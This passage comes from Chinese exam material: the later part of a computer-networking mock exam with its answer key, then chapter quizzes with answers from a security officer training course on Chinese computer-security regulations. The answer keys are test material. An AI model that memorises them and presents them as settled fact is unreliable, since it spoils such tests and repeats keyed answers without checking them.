<p>下列说法中不正确的是（</p>
<p>）。</p>
<p>A、IP地址用于标识连入Internet上的计算机</p>
<p>B、在Ipv4协议中，一个IP地址由32位二进制数组成</p>
<p>C、在Ipv4协议中，IP地址常用带点的十进制标记法书写</p>
<p>D、A、B、C类地址是单播地址，D、E类是组播地址</p>
<ol start="6">
<li></li>
</ol>
<p>一个路由器有两个端口，分别接到两个网络，两个网络各有一个主机，IP地址分别为110.25.53.1和110.24.53.6，子网掩码均为255.255.0.0，请从中选出两个IP地址分别分配给路由器的两个端口（</p>
<p>）。</p>
<p>A、110.25.52.2和110.24.52.7</p>
<p>B、110.24.53.2和110.25.53.7</p>
<p>C、111.25.53.2和111.24.53.7</p>
<p>D、110.25.53.2和110.24.53.7</p>
<ol start="7">
<li></li>
</ol>
<p>（4选2）下列说法中属于ISO/OSI七层协议中应用层功能的是（</p>
<p>）。</p>
<p>A、拥塞控制</p>
<p>B、电子邮件</p>
<p>C、防止高速的发送方的数据把低速的接收方淹没</p>
<p>D、目录查询</p>
<ol start="8">
<li></li>
</ol>
<p>（4选3）如果发现网络变得很慢，经过观察，发现网络冲突增加很多，以下哪些情况会引起此类故障（</p>
<p>）。</p>
<p>A、电缆太长</p>
<p>B、有网卡工作不正常</p>
<p>C、网络流量增大</p>
<p>D、电缆断路</p>
<ol start="9">
<li></li>
</ol>
<p>下列网卡中，属于按照总线类型分类的是（</p>
<p>）。</p>
<p>A、10M网卡、100M网卡</p>
<p>B、桌面网卡与服务器网卡</p>
<p>C、PCI网卡、ISA网卡</p>
<p>D、粗缆网卡、细缆网卡</p>
<ol start="10">
<li></li>
</ol>
<p>RIP是（</p>
<p>）协议栈上一个重要的路由协议。</p>
<p>A、IPX</p>
<p>B、TCP/IP</p>
<p>C、NetBEUI</p>
<p>D、AppleTalk</p>
<ol start="11">
<li></li>
</ol>
<p>（4选3）下列关于中继器的描述正确的是（</p>
<p>）。</p>
<p>A、扩展局域网传输距离</p>
<p>B、放大输入信号</p>
<p>C、检测到冲突，停止传输数据到发生冲突的网段</p>
<p>D、增加中继器后，每个网段上的节点数可以大大增加</p>
<ol start="12">
<li></li>
</ol>
<p>下列属于</p>
<p>10</p>
<p>Base－T中网卡与集线器之间双绞线接法的是（</p>
<p>）。</p>
<p>A、l－l，2－2，3－3，6－6</p>
<p>B、l－3，2－6，3－l，6－2</p>
<p>C、1－2，2－1，3－6，6－3</p>
<p>D、1－6，2－3，3－2，6－l</p>
<ol start="13">
<li></li>
</ol>
<p>划分VLAN的方法常用的有（</p>
<p>）、按MAC地址划分和按第3层协议划分3种。</p>
<p>A、按IP地址划分</p>
<p>B、按交换端口号划分</p>
<p>C、按帧划分</p>
<p>D、按信元交换</p>
<ol start="14">
<li></li>
</ol>
<p>以太网交换机的最大带宽为（</p>
<p>）。</p>
<p>A、等于端口带宽</p>
<p>B、大于端口带宽的总和</p>
<p>C、等于端口带宽的总和</p>
<p>D、小于端口带宽的总和</p>
<ol start="15">
<li></li>
</ol>
<p>某公司位于A市，其分公司位于距A市120公里的B市，总部与分公司之间在上班时间内要经常性地进行大量电子表格传递，则应选择的合理通信连接方式为（</p>
<p>）。</p>
<p>A、普通电话拨号联网</p>
<p>B、光缆快速以太网</p>
<p>C、帧中继</p>
<p>D、星形网</p>
<p>三、填充题（每空1分，共20分）</p>
<ol>
<li></li>
</ol>
<p>在下列括号中填入局域网或广域网</p>
<p>（</p>
<p>）通常为一个单位所拥有，（</p>
<p>）限制条件是传输通道的速率，（</p>
<p>）跨越无限的距离，（</p>
<p>）通常使用广播技术来替代存储转发的路由选择。</p>
<ol start="2">
<li></li>
</ol>
<p>虚拟主机服务是指为用户提供（</p>
<p>）、（</p>
<p>）和网页设计制作等服务。</p>
<ol start="3">
<li></li>
</ol>
<p>衡量数据通信的主要参数有（</p>
<p>）和（</p>
<p>）。</p>
<ol start="4">
<li></li>
</ol>
<p>IP地址11011011，00001101，00000101，11101110用点分10进制表示可写为（</p>
<p>）。</p>
<ol start="5">
<li></li>
</ol>
<p>综合布线系统可划分为工作区子系统、骨干线子系统、（</p>
<p>）、管理子系统、（</p>
<p>）和户外子系统。</p>
<ol start="6">
<li></li>
</ol>
<p>任何网络都有以下三个要素，即：共享服务、（</p>
<p>）和（</p>
<p>）。</p>
<ol start="7">
<li></li>
</ol>
<p>IP地址分配有动态主机分配协议、（</p>
<p>）</p>
<p>和（</p>
<p>）</p>
<p>三种IP寻址方式。</p>
<ol start="8">
<li></li>
</ol>
<p>防火墙的组成可以表示成（</p>
<p>）＋（</p>
<p>）。</p>
<ol start="9">
<li></li>
</ol>
<p>认证主要包括实体认证和（</p>
<p>）两大类。</p>
<ol start="10">
<li></li>
</ol>
<p>Intranet分层结构包括网络、（</p>
<p>）、应用三个层次。</p>
<ol start="11">
<li></li>
</ol>
<p>在TCP／IP网络中，测试连通性的常用命令是（</p>
<p>）。</p>
<p>四、简答题（共40分）</p>
<ol>
<li></li>
</ol>
<p>简述通信子网与资源子网分别由哪些主要部分组成，其主要功能是什么。（本题6分）</p>
<ol start="2">
<li></li>
</ol>
<p>试辩认以下IP地址的网络类别：（本题10分）</p>
<p>①</p>
<p>01010000，10100000，11，0101</p>
<p>②</p>
<p>10100001，1101，111，10111100</p>
<p>③</p>
<p>11010000，11，101，10000001</p>
<p>④</p>
<p>01110000，00110000，00111110，11011111</p>
<p>⑤</p>
<p>11101111，11111111，11111111，11111111</p>
<ol start="3">
<li></li>
</ol>
<p>简述交换机与集线器在工作原理上的区别。（本题6分）</p>
<ol start="4">
<li></li>
</ol>
<p>简述为何在网络中路由器通常比网桥有更长的时延。（本题8分）</p>
<ol start="5">
<li></li>
</ol>
<p>简述不支持TCP/IP的设备应如何进行SNMP管理。（本题10分）</p>
<p>计算机网络模拟试题答案及评分标准</p>
<p>一、是非题（每题1分，共10分。正确的在括号内划√，错的划×，填入其它符号按错论。）</p>
<p>1．（√）</p>
<p>2．（×）</p>
<p>3．（×）</p>
<p>4．（√）</p>
<p>5．（×）</p>
<p>6．（√）</p>
<p>7．（×）</p>
<p>8．（×）</p>
<p>9．（√）</p>
<p>10．（×）</p>
<p>二、单选题和多选题（每题2分，共30分。除题目特殊说明是多选题外，其他均为单选题。单选题在括号内选择最确切的一项作为答案。）</p>
<ol>
<li></li>
</ol>
<p>C</p>
<ol start="2">
<li></li>
</ol>
<p>B、D</p>
<ol start="3">
<li></li>
</ol>
<p>A</p>
<ol start="4">
<li></li>
</ol>
<p>A、B</p>
<ol start="5">
<li></li>
</ol>
<p>D</p>
<ol start="6">
<li></li>
</ol>
<p>B</p>
<ol start="7">
<li></li>
</ol>
<p>B、D</p>
<ol start="8">
<li></li>
</ol>
<p>A、B、C</p>
<ol start="9">
<li></li>
</ol>
<p>C</p>
<ol start="10">
<li></li>
</ol>
<p>B</p>
<ol start="11">
<li></li>
</ol>
<p>A、B、C</p>
<ol start="12">
<li></li>
</ol>
<p>A</p>
<ol start="13">
<li></li>
</ol>
<p>B</p>
<ol start="14">
<li></li>
</ol>
<p>C</p>
<ol start="15">
<li></li>
</ol>
<p>C</p>
<p>三、填充题（每空1分，共20分）</p>
<p>1．局域网、广域网、广域网、局域网</p>
<p>2．域名注册、服务器空间租用</p>
<p>3．数据通信速率、误码率</p>
<p>4．219，13，5，238</p>
<p>5．水平布线子系统、设备间子系统</p>
<p>6．传输介质、网络协议</p>
<p>7．自动专用IP地址寻址、手工设置</p>
<p>8．过滤器、安全策略</p>
<p>9．消息认证</p>
<p>10．服务</p>
<p>11．PING</p>
<p>四、简答题（共40分）</p>
<p>1．（本题6分）</p>
<p>答：</p>
<p>通信子网负责整个网络的纯粹通信部分，资源子网即是各种网络资源（主机上的打印机、软件资源等）的集合。</p>
<p>通信子网由两个不同的部件组成，即传输线和交换单元。传输介质也称为电路、信道，信道是通信中传递信息的通道，包含发送信息、接收信息和转发信息的设备。传输介质是指用于连接两个或多个网络结点的物理传输电路，例如，电话线、同轴电缆、光缆等。通信信道应包括传输介质与通信设备，它是建立在传输介质之上的。采用多路复用技术时，一条物理传输介质上可以建立多条通信信道。</p>
<ol start="2">
<li></li>
</ol>
<p>（本题10分）</p>
<p>答：</p>
<p>01010000，10100000，11，0101</p>
<p>A类</p>
<p>10100001，1101，111，10111100</p>
<p>B类</p>
<p>11010000，11，101，10000001</p>
<p>C类</p>
<p>01110000，00110000，00111110，11011111</p>
<p>A类</p>
<p>11101111，11111111，11111111，11111111</p>
<p>D类</p>
<p>3．</p>
<p>（本题6分）</p>
<p>答：集线器采用“广播模式”工作，很容易产生“广播风暴”，当网络规模较大时性能会收到影响。交换机工作的原理是通过发出请求的端口和目的端口之间相互影响而不影响其他端口。因此交换机能够抑制广播风暴的产生并在一定程度上隔离冲突域。</p>
<p>4．</p>
<p>（本题8分）</p>
<p>答：由于“路由”过程中采用了源地址和目的地址存储/转发的技术，节点存储/转发的时延较大，每个节点都要接收、存储、检错、纠错、转发大量的数据信息，路由表建表、改表和查表工作也会产生节点延迟。这些情况导致路由器的时延较长。</p>
<ol start="5">
<li></li>
</ol>
<p>（本题10分）</p>
<p>答：</p>
<p>SNMP要求所有的代理设备和管理站都必须实现TCP/IP。这样，对于不支持TCP／IP的设备，就不能直接用SNMP进行管理。为此，提出了委托代理的概念。</p>
<p>一个委托代理设备可以管理若干台非TCP/IP设备，并代表这些设备接收管理站的查询，实际上委托代理起到了协议转换的作用，委托代理和管理站之间按SNMP协议通信，而与被管理设备之间则按专用的协议通信。</p>
<hr />
<ol>
<li></li>
</ol>
<p>计算机信息系统的使用单位&#8212;&#8212;&#8212;&#8211;安全管理制度。(单选)</p>
<p>A</p>
<p>A.应当建立健全</p>
<p>B.自愿建立</p>
<p>C.可以建立</p>
<p>D.不一定都要建立</p>
<ol start="2">
<li></li>
</ol>
<p>未经允许使用计算机信息网络资源的个人，公安机关可以处&#8212;&#8212;&#8212;的罚款。(单选)</p>
<p>A</p>
<p>A.5000元以下</p>
<p>B.1500元以下</p>
<p>C.15000元以下</p>
<p>D.1000元以下</p>
<ol start="3">
<li></li>
</ol>
<p>我国计算机信息系统实行&#8212;&#8212;-保护。(单选)</p>
<p>B</p>
<p>A.主任值班制</p>
<p>B.安全等级</p>
<p>C.责任制</p>
<p>D.专职人员资格</p>
<ol start="4">
<li></li>
</ol>
<p>计算机病毒是指能够&#8212;&#8212;&#8211;的一组计算机指令或程序代码。(多选)</p>
<p>ABC</p>
<p>A.自我复制</p>
<p>B.破坏计算机功能</p>
<p>C.毁坏计算机数据</p>
<p>D.危害计算机操作人员健康</p>
<ol start="5">
<li></li>
</ol>
<p>进行国际联网的计算机信息系统，由计算机信息系统使用单位报&#8212;&#8212;&#8212;&#8212;-人民政府公安机关备案。(单选)</p>
<p>B</p>
<p>A.公安部</p>
<p>B.省级以上</p>
<p>C.县级以上</p>
<p>D.国务院</p>
<ol start="6">
<li></li>
</ol>
<p>任何组织或者个人违反《中华人民共和国计算机信息系统安全保护条例》的规定，给国家、集体或者他人财产造成损失的，应当依法&#8212;&#8212;&#8212;&#8212;&#8212;。(单选)</p>
<p>D</p>
<p>A.承担经济责任</p>
<p>B.接受经济处罚</p>
<p>C.接受刑事处罚</p>
<p>D.承担民事责任</p>
<ol start="7">
<li></li>
</ol>
<p>公安部在紧急情况下，可以就设计计算机信息系统安全的&#8212;&#8212;&#8212;&#8212;-事项发布专项通令。(单选)</p>
<p>D</p>
<p>A.所有</p>
<p>B.偶发</p>
<p>C.一般</p>
<p>D.特定</p>
<ol start="8">
<li></li>
</ol>
<p>经营国际互联网业务的单位，有违法行为时，&#8212;&#8212;&#8212;可以吊销其经营许可证或者取消其联网资格。(单选)</p>
<p>C</p>
<p>A.互联网络管理部门</p>
<p>B.公安机关计算机管理监察机构</p>
<p>C.原发证、审批机构</p>
<p>D.公安机关</p>
<ol start="9">
<li></li>
</ol>
<p>&#8212;&#8212;-是全国计算机信息系统安全保护工作的主管部门。(单选)</p>
<p>D</p>
<p>A.国家保密局</p>
<p>B.教育部</p>
<p>C.国家安全部</p>
<p>D.公安部</p>
<ol start="10">
<li></li>
</ol>
<p>计算机信息系统，是指由计算机及其相关的和配套的设备、设施（含网络）构成的，按照一定的应用目标和规则对信息进行采集，加工，传输，检索等处理的————。(单选)</p>
<p>D</p>
<p>A.计算机信息系统</p>
<p>B.网络系统</p>
<p>C.计算机系统</p>
<p>D.人机系统</p>
<ol start="11">
<li></li>
</ol>
<p>我国计算机信息系统安全保护的重点是维护&#8212;&#8212;&#8212;等重要领域的计算机信息系统的安全。(多选)</p>
<p>ABD</p>
<p>A.经济建设、国防建设</p>
<p>B.尖端科学技术</p>
<p>C.教育文化</p>
<p>D.国家事务</p>
<ol start="12">
<li></li>
</ol>
<p>使用公用帐号的注册者应当加强对公用帐号的管理，建立帐号使用&#8212;&#8212;制度。(单选)</p>
<p>A</p>
<p>A.登记</p>
<p>B.申请</p>
<p>C.收费</p>
<p>D.备案</p>
<ol start="13">
<li></li>
</ol>
<p>在计算机信息系统中，以计算机文字表示的，含有危害国家安全内容的信息，是属于&#8212;&#8212;&#8212;-。(单选)</p>
<p>B</p>
<p>A.计算机污染</p>
<p>B.计算机有害数据</p>
<p>C.计算机破坏性信息</p>
<p>D.计算机病毒</p>
<ol start="14">
<li></li>
</ol>
<p>《计算机信息网络国际联网安全保护管理办法》是于&#8212;&#8212;&#8211;经国务院批准。(单选)</p>
<p>D</p>
<p>A.1997年12月30日</p>
<p>B.1997年7月1日</p>
<p>C.1997年12月1日</p>
<p>D.1997年12月11日</p>
<ol start="15">
<li></li>
</ol>
<p>公安机关计算机管理监察机构应当掌握互联单位、接入单位和用户的备案情况，建立&#8212;&#8212;&#8212;&#8211;，进行备案统计，并按照国家有关规定逐级上报。(单选)</p>
<p>B</p>
<p>A.登记制度</p>
<p>B.备案档案</p>
<p>C.专人负责制度</p>
<p>D.管理制度</p>
<p>16.计算机机房应当符合&#8212;&#8212;&#8212;&#8212;和国家有关规定。(单选)</p>
<p>D</p>
<p>A.噪声要求</p>
<p>B.采光要求</p>
<p>C.行业标准</p>
<p>D.国家标准</p>
<p>17.涉及国家事务、经济建设、国防建设、尖端科学技术等重要领域的单位办理备案手续时，应当出具&#8212;&#8212;&#8212;的审批证明。(单选)</p>
<p>C</p>
<p>A.互联网络主管部门</p>
<p>B.其单位本身</p>
<p>C.其行政主管部门</p>
<p>D.公安机关</p>
<p>18.《计算机病毒防治管理办法》是公安部令第————号发布的。(单选)</p>
<p>B</p>
<p>A.32</p>
<p>B.51</p>
<p>C.33</p>
<p>D.55</p>
<p>19.国家对计算机信息系统安全专用产品的销售&#8212;&#8212;&#8212;&#8212;&#8212;-。(单选)</p>
<p>D</p>
<p>A.国家不作规定</p>
<p>B.有行业主观部门负责</p>
<p>C.与其他产品一样，可以任意进行</p>
<p>D.实行许可证制度</p>
<p>20.公安机关计算机管理监察机构应当保护计算机信息网络国际联网的公共安全，维护&#8212;&#8212;&#8212;&#8212;单位和个人的合法权益的公众利益。(单选)C</p>
<p>A.从事网络业务的</p>
<p>B.从事计算机业务的</p>
<p>C.从事国际联网业务的</p>
<p>D.从事计算机信息工作的</p>
<p>21.下列行为中，&#8212;&#8212;&#8212;-是《计算机信息网络国际联网安全保护管理办法》所不允许利用国际联网进行的活动。(多选)</p>
<p>ABCD</p>
<p>A.侵犯国家的、社会的、集体的利益的行为</p>
<p>B.危害国家安全的行为</p>
<p>C.泄露国家秘密的行为</p>
<p>D.侵犯公民的合法权益的行为</p>
<p>第二章小测验正确答案</p>
<p>[计算机信息网络安全员培训（一）]</p>
<ol>
<li></li>
</ol>
<p>&#8212;&#8212;&#8212;-以上金融机构必须成立计算机信息系统安全保护领导小组，由分管领导任组长，并确定专职部门负责日常的计算机信息系统安全保护工作。(单选)</p>
<p>A</p>
<p>A.县级</p>
<p>B.区级</p>
<p>C.省级</p>
<p>D.市级</p>
<ol start="2">
<li></li>
</ol>
<p>对不能停机的主机房必须采用双回路供电，或者配置发电机、持续工作&#8212;&#8212;&#8212;-小时以上的UPS等设施。(单选)</p>
<p>D</p>
<p>A.12</p>
<p>B.18</p>
<p>C.24</p>
<p>D.8</p>
<ol start="3">
<li></li>
</ol>
<p>&#8212;&#8212;&#8212;-适用于一般的信息和信息系统，其受到破坏后，会对公民、法人和其他组织的权益有一定影响，但不危害国家安全、社会秩序、经济建设和公共利益。(单选)</p>
<p>B</p>
<p>A.监督保护级</p>
<p>B.自由保护级</p>
<p>C.指导保护级</p>
<p>D.强制保护级</p>
<ol start="4">
<li></li>
</ol>
<p>计算机安全员培训的内容&#8212;&#8212;&#8212;-(多选)</p>
<p>ABCD</p>
<p>A.计算机病毒的防治</p>
<p>B.国家有关计算机信息系统安全保护的法律法规</p>
<p>C.计算机信息系统安全保护的技术以及信息系统安全风险管理的方法</p>
<p>D.计算机信息网络国际互联网的安全管理，计算机犯罪的防范、打击和案件报告制度</p>
<ol start="5">
<li></li>
</ol>
<p>任何单位或个人，未经公安机关批准，不得从事下列活动&#8212;&#8212;&#8212;-(多选)</p>
<p>ABC</p>
<p>A.经营性网络服务</p>
<p>B.出版、销售、出租含计算机病毒机理、病毒源程序的书籍资料和媒体</p>
<p>C.传授计算机病毒机理和程序</p>
<p>D.上网浏览、查找资料</p>
<ol start="6">
<li></li>
</ol>
<p>重要领域计算机信息系统安全保护工作是指公安机关公共信息网络安全监察部门对&#8212;&#8212;&#8212;-等重要领域计算机信息系统的设备（设施）安全、运行安全、信息安全等保护工作进行监督、检查、指导，维护计算机信息系统安全管理秩序的一项管理工作。</p>
<p>(多选)</p>
<p>ACD</p>
<p>A.经济建设、国防建设</p>
<p>B.教育文化</p>
<p>C.国家事务</p>
<p>D.尖端科学技术</p>
<ol start="7">
<li></li>
</ol>
<p>公安机关公共信息网络安全监察部门对计算机信息系统使用单位实施安全监督检查可采取以下方法&#8212;&#8212;&#8212;-(多选)</p>
<p>ABCD</p>
<p>A.调阅、审查被检查单位的安全制度执行情况，运行记录及其他有关资料</p>
<p>B.利用信息系统安全检测设备进行专项安全检查</p>
<p>C.对计算机信息系统安全保护装置（含硬件和软件）的性能进行测试和模拟验证</p>
<p>D.向有关人员询问了解</p>
<ol start="8">
<li></li>
</ol>
<p>对计算机信息系统中发生的案件、新的病毒种类或重大计算机安全事故故意隐瞒不报的，由公安机关处以警告或对个人处以500元以下罚款，对单位处以&#8212;&#8212;&#8212;-元以下罚款。(单选)</p>
<p>D</p>
<p>A.5000元</p>
<p>B.3000元</p>
<p>C.10000元</p>
<p>D.1000元</p>
<ol start="9">
<li></li>
</ol>
<p>&#8212;&#8212;&#8212;-主管本省行政区域内的计算机安全管理工作。(单选)</p>
<p>C</p>
<p>A.省工商局</p>
<p>B.省保密局</p>
<p>C.省公安厅</p>
<p>D.省政府</p>
<ol start="10">
<li></li>
</ol>
<p>&#8212;&#8212;&#8212;-主管山西省重要领域计算机信息系统安全保护工作。(单选)</p>
<p>C</p>
<p>A.山西省计算机行业协会</p>
<p>B.山西省国家安全厅</p>
<p>C.山西省公安厅</p>
<p>D.山西省国家保密局</p>
<ol start="11">
<li></li>
</ol>
<p>金融机构应当对重要的数据建立数据备份制度，并做到&#8212;&#8212;&#8212;-。(单选)</p>
<p>B</p>
<p>A.本地双硬盘备份</p>
<p>B.异地保存</p>
<p>C.书面打印保存</p>
<p>D.本地异机备份</p>
<ol start="12">
<li></li>
</ol>
<p>计算机信息系统安全专用产品销售许可证自批准之日起&#8212;&#8212;&#8212;-年内有效。(单选)</p>
<p>D</p>
<p>A.三</p>
<p>B.四</p>
<p>C.一</p>
<p>D.二</p>
<ol start="13">
<li></li>
</ol>
<p>金融机构应当对与计算机有关的&#8212;&#8212;&#8212;-等设备进行定期检查维护。(多选)</p>
<p>BCD</p>
<p>A.UPS电源</p>
<p>B.卫星天线</p>
<p>C.电源接口</p>
<p>D.通信接口</p>
<ol start="14">
<li></li>
</ol>
<p>制造、销售带有计算机病毒和有害数据的软、硬件以及载体的由公安机关处以&#8212;&#8212;&#8212;-罚款。(单选)</p>
<p>A</p>
<p>A.1000元以上，15000元以下</p>
<p>B.500元以上，1000元以下</p>
<p>C.1000元以上，5000元以下</p>
<p>D.1000元以上，10000元以下</p>
<ol start="15">
<li></li>
</ol>
<p>&#8212;&#8212;&#8212;-负责本单位内各部门计算机信息系统安全管理和检查。(单选)</p>
<p>D</p>
<p>A.计算机终端操作员</p>
<p>B.计算机系统管理员</p>
<p>C.本单位第一负责人</p>
<p>D.计算机信息系统安全保护领导小组</p>
<ol start="16">
<li></li>
</ol>
<p>公安机关应当对金融机构的&#8212;&#8212;&#8212;-进行安全知识培训。(单选)</p>
<p>A</p>
<p>A.计算机信息系统安全管理人员</p>
<p>B.计算机信息系统主要负责人</p>
<p>C.法人</p>
<p>D.教育处计算机信息系统终端操作员</p>
<ol start="17">
<li></li>
</ol>
<p>金融机构计算机信息系统安全保护工作的基本任务是&#8212;&#8212;&#8212;-(多选)</p>
<p>ABCD</p>
<p>A.提高金融机构计算机信息系统的整体安全水平</p>
<p>B.预防、处理各种安全事故</p>
<p>C.预防、打击利用或者针对金融机构计算机信息系统进行的违法犯罪活动</p>
<p>D.保障国家、集体和个人财产的安全</p>
<ol start="18">
<li></li>
</ol>
<p>&#8212;&#8212;&#8212;-应当加强对金融机构计算机信息系统安全保护工作实施的指导和监督，及时查处金融机构计算机信息系统发生的案件和事故。(单选)</p>
<p>B</p>
<p>A.中国人民银行</p>
<p>B.公安机关公共信息网络安全监察部门</p>
<p>C.国务院</p>
<p>D.审计部门</p>
<ol start="19">
<li></li>
</ol>
<p>有以下情形之一的，公安机关公共信息网络安全监察部门应当组织开展安全监督检查。(多选)</p>
<p>ABCD</p>
<p>A.计算机信息系统中发生案件或安全事故的</p>
<p>B.新建立计算机信息系统或改建、扩建的</p>
<p>C.变更计算机信息系统的安全装置、安全技术措施的</p>
<p>D.有关单位提出要求，公安机关认为有必要的</p>
<ol start="20">
<li></li>
</ol>
<p>金融机构的数据处理中心计算机主机房周围&#8212;&#8212;&#8212;-米内不得有危险建筑。(单选)</p>
<p>B</p>
<p>A.50</p>
<p>B.100</p>
<p>C.30</p>
<p>D.200</p>
<p>21.金融机构的业务用机不得用于&#8212;&#8212;&#8212;-等工具软件，不使用与业务无关的任何存贮介质。(多选)</p>
<p>ABC</p>
<p>A.源程序</p>
<p>B.编译工具</p>
<p>C.连接工具</p>
<p>D.防火墙</p>
<p>22.对计算机信息系统进行攻击性检测，应事前做出检测方案及攻击力度规定，报&#8212;&#8212;&#8212;-主管领导批准。(单选)</p>
<p>B</p>
<p>A.安全部门</p>
<p>B.公安部门</p>
<p>C.被测单位上级</p>
<p>D.被检测单位</p>
<p>23.重要系统应用软件运行过程中出现异常现象，金融机构应当立即报告&#8212;&#8212;&#8212;-，做好详细记录，经领导同意后，由系统管理人员进行检查、修改、维护。(单选)</p>
<p>D</p>
<p>A.本级公安机关</p>
<p>B.上级银行安全管理职能部门</p>
<p>C.本级人民银行</p>
<p>D.本级银行安全管理职能部门</p>
<p>24.对计算机信息系统中发生的案件、新的病毒种类和重大计算机安全事故，须在&#8212;&#8212;&#8212;-小时内向当地县级以上公安机关报告。(单选)</p>
<p>C</p>
<p>A.6</p>
<p>B.48</p>
<p>C.24</p>
<p>D.12</p>
<p>25.&#8212;&#8212;&#8212;-适用于一般的信息和信息系统，其受到破坏后，会对公民、法人和其他组织的权益有一定影响，但不危害国家安全、社会秩序、经济建设和公共利益。(单选)</p>
<p>B</p>
<p>A.强制保护级</p>
<p>B.自由保护级</p>
<p>C.指导保护级</p>
<p>D.监督保护级</p>
<p>26.金融机构对与国际联网的计算机信息系统，要按有关规定向&#8212;&#8212;&#8212;-登记备案。(单选)</p>
<p>A</p>
<p>A.公安机关</p>
<p>B.保密局</p>
<p>C.国务院</p>
<p>D.中国人民银行</p>
<p>27.&#8212;&#8212;&#8212;-负责等级保护工作中有关密码工作的监督、检查、指导。(单选)</p>
<p>A</p>
<p>A.国家密码管理部门</p>
<p>B.国家保密局</p>
<p>C.国家技术监督部门</p>
<p>D.公安机关</p>
<p>28.金融基层单位应当&#8212;&#8212;&#8212;-计算机信息系统安全管理人员。(单选)</p>
<p>C</p>
<p>A.不设立</p>
<p>B.设立专职</p>
<p>C.设立专职或兼职</p>
<p>D.设立兼职</p>
<p>29.金融机构计算机信息系统安全保护工作的基本任务是&#8212;&#8212;&#8212;-(多选)</p>
<p>ABCD</p>
<p>A.预防、处理各种安全事故</p>
<p>B.提高金融机构计算机信息系统的整体安全水平</p>
<p>C.保障国家、集体和个人财产的安全</p>
<p>D.预防、打击利用或者针对金融机构计算机信息系统进行的违法犯罪活动</p>
<p>30.县级以上金融机构必须成立计算机信息系统安全保护领导小组，领导小组名单应当报&#8212;&#8212;&#8212;-计算机信息系统安全保护领导小组和公安机关计算机管理监察部门备案。(单选)</p>
<p>D</p>
<p>A.中国人民银行</p>
<p>B.上级人民银行</p>
<p>C.上级金融机构</p>
<p>D.同级人民银行</p>
<p>31.《中华人民共和国计算机信息系统安全保护条例》规定是由&#8212;&#8212;&#8212;-颁布的。(单选)</p>
<p>B</p>
<p>A.国家安全部</p>
<p>B.国务院</p>
<p>C.信息产业部</p>
<p>D.公安部</p>
<p>32.《山西省计算机安全管理规定》从&#8212;&#8212;&#8212;-开始实施。(单选)</p>
<p>C</p>
<p>A.1995年3月1日</p>
<p>B.1994年3月26日</p>
<p>C.1996年11月14日</p>
<p>D.1995年2月15日</p>
<p>33.计算机安全员培训的对象为&#8212;&#8212;&#8212;-(多选)</p>
<p>ABCD</p>
<p>A.计算机信息网络国际联网的联网单位、接入单位和互联网信息服务单位的安全员</p>
<p>B.从事计算机信息系统管理、维护人员以及重要岗位的从业人员</p>
<p>C.计算机信息系统使用单位安全管理组织的负责人和安全员</p>
<p>D.全省各级公安机关从事计算机安全监察工作的民警</p>
<ol start="34">
<li></li>
</ol>
<p>对新购进的计算机和初次使用的软件、数据、载体，应经&#8212;&#8212;&#8212;-进行检测，确认无病毒和有害数据后方可投入使用。(单选)</p>
<p>A</p>
<p>A.本单位计算机安全管理员</p>
<p>B.计算机协会</p>
<p>C.本单位负责人</p>
<p>D.网络安全监察部门</p>
<p>第三章小测验正确答案</p>
<p>[计算机信息网络安全员培训（一）]</p>
<ol>
<li></li>
</ol>
<p>互联网上网服务营业场所经营单位提供上网消费者使用的计算机必须通过&#8212;&#8212;&#8212;-的方式接入互联网，不得直接接入互联网(单选)</p>
<p>A</p>
<p>A.局域网</p>
<p>B.以上全部均可</p>
<p>C.拨号上网</p>
<p>D.城域网</p>
<ol start="2">
<li></li>
</ol>
<p>互联网上网服务营业场所经营单位应当对上网消费者的身份证等有效证件进行核对、登记，并记录有关上网信息。登记内容和记录备份保存时间不得少于&#8212;&#8212;&#8212;-日(单选)</p>
<p>B</p>
<p>A.９０</p>
<p>B.６０</p>
<p>C.３０</p>
<p>D.２０</p>
<ol start="3">
<li></li>
</ol>
<p>互联单位、接入单位及使用计算机信息网络国际联网的法人和其他组织应当履行下列安全保护职责&#8212;&#8212;&#8212;-(多选)</p>
<p>ABCD</p>
<p>A.建立计算机信息网络电子公告系统的用户登记和信息管理制度</p>
<p>B.落实安全保护技术措施，保障本网络的运行安全和信息安全</p>
<p>C.负责对本网络用户的安全教育和培训</p>
<p>D.负责本网络的安全保护管理工作，建立健全安全保护管理制度</p>
<ol start="4">
<li></li>
</ol>
<p>接入单位、互联单位，不履行备案职责的，由公安机关给予&#8212;&#8212;&#8212;-的惩罚(单选)</p>
<p>B</p>
<p>A.追究刑事责任</p>
<p>B.警告、停机整顿</p>
<p>C.警告</p>
<p>D.警告、处以5000元</p>
<ol start="5">
<li></li>
</ol>
<p>互联单位、接入单位及使用计算机信息网络国际联网的法人和其他组织发现利用国际联网进行危害国家安全、泄露国家秘密或侵犯国家的、社会的、集体的利益和公民的合法权益的情况，应在&#8212;&#8212;&#8212;-向公安机关报告(单选)</p>
<p>C</p>
<p>A.一小时内</p>
<p>B.八小时内</p>
<p>C.二十四小时内</p>
<p>D.三天内</p>
<ol start="6">
<li></li>
</ol>
<p>互联单位、接入单位、使用计算机信息网络国际联网的法人和其他组织（包括跨省、自治区、直辖市联网的单位和所属的分支机构），应当自网络正式联通之日起&#8212;&#8212;&#8212;-日内，到所在地的省、自治区、直辖市人民政府公安机关指定的受理机关办理备案手续(单选)</p>
<p>B</p>
<p>A.六十</p>
<p>B.三十</p>
<p>C.十</p>
<p>D.九十</p>
<ol start="7">
<li></li>
</ol>
<p>互联网上网服务营业场所的服务对象是&#8212;&#8212;&#8212;-(单选)</p>
<p>D</p>
<p>A.大学生</p>
<p>B.中小学生</p>
<p>C.特定人群</p>
<p>D.公众</p>
<ol start="8">
<li></li>
</ol>
<p>互联网上网服务营业场所每日营业时间限于&#8212;&#8212;&#8212;-(单选)</p>
<p>D</p>
<p>A.０时至２４时</p>
<p>B.８时至１２时</p>
<p>C.８时至１８时</p>
<p>D.８时至２４时</p>
<ol start="9">
<li></li>
</ol>
<p>用于保护计算机信息系统安全的专用硬件和软件产品，称为&#8212;&#8212;&#8212;-(单选)</p>
<p>A</p>
<p>A.计算机信息系统安全专用产品</p>
<p>B.计算机专用产品</p>
<p>C.计算机特殊用途产品</p>
<p>D.计算机安全产品</p>
<ol start="10">
<li></li>
</ol>
<p>任何单位和个人不得有下列传播计算机病毒的行为&#8212;&#8212;&#8212;-(多选)</p>
<p>ABCD</p>
<p>A.故意输入计算机病毒，危害计算机信息系统安全</p>
<p>B.销售、出租、附赠含有计算机病毒的媒体</p>
<p>C.其它传播计算机病毒的行为</p>
<p>D.向他人提供含有计算机病毒的文件、软件、媒体</p>
<ol start="11">
<li></li>
</ol>
